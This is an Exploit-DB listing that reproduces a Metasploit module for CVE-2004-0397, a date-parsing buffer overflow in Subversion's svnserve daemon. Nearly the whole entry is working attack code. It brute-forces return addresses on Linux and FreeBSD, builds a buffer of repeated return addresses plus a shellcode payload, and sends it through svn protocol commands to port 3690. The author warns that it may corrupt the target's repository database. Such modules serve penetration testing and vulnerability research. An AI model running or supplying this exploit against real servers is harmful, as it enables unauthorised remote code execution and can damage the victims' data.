标题: Subversion - Date Svnserve (Metasploit) EDB-ID: 16284 CVE: 2004-0397 类型: DOS 平台: UNIX 发布日期: 2010-08-07 漏洞利用脚本: ##
# $Id: svnserve_date.rb 9971 2010-08-07 06:59:16Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Brute
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Subversion Date Svnserve',
   'Description'    => %q{
     This is an exploit for the Subversion date parsing overflow.  This
    exploit is for the svnserve daemon (svn:// protocol) and will not work
    for Subversion over webdav (http[s]://).  This exploit should never
    crash the daemon, and should be safe to do multi-hits.

    **WARNING** This exploit seems to (not very often, I've only seen
    it during testing) corrupt the subversion database, so be careful!
   },
   'Author'         => 'spoonm',
   'Version'        => '$Revision: 9971 $',
   'References'     =>
    [
     ['CVE', '2004-0397'],
     ['OSVDB', '6301'],
     ['BID', '10386'],
     ['URL',   'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
     ['MIL',   '68'],
    ],
   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
     'MinNops'  => 16,
    },
   'SaveRegisters'  => [ 'esp' ],
   'Arch'           => 'x86',
   'Platform'       => [ 'linux', 'bsd' ],
   'Targets'        =>
    [
     [
      'Linux Bruteforce',
      {
       'Platform'   => 'linux',
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xbffffe13 },
         'Stop'  => { 'Ret' => 0xbfff0000 },
         'Step'  => 0
        }
      },
     ],
     [
      'FreeBSD Bruteforce',
      {
       'Platform'   => 'bsd',
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xbfbffe13 },
         'Stop'  => { 'Ret' => 0xbfbf0000 },
         'Step'  => 0
        }
      },
     ],

    ],
   'DisclosureDate' => 'May 19 2004'))

  register_options(
   [
    Opt::RPORT(3690),
    OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
   ], self.class)

  register_advanced_options(
   [
    # 62 on spoonm's, 88 on HD's
    OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
    OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
   ], self.class)
 end

 def check
 end

 def brute_exploit(addresses)
  connect

  print_status("Trying #{"%.8x" % addresses['Ret']}...")

  buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded

  [
   "( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
   "( ANONYMOUS ( 0; ) )",
   "( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
  ].each_with_index { |buf, index|
   trash = sock.get_once

   print_line("Received: #{trash}") if debugging?

   if (sock.put(buf) || 0) == 0 and index < 3
    print_error("Error transmitting buffer.")
    raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
   end

   if index == 3 and trash.length > 0
    print_error("Received data when we shouldn't have")
    raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
   end
  }

  handler
  disconnect
 end

 def lengther(buf)
  "#{buf.length}:" + buf
 end

end URL: https://www.exploit-db.com/exploits/16284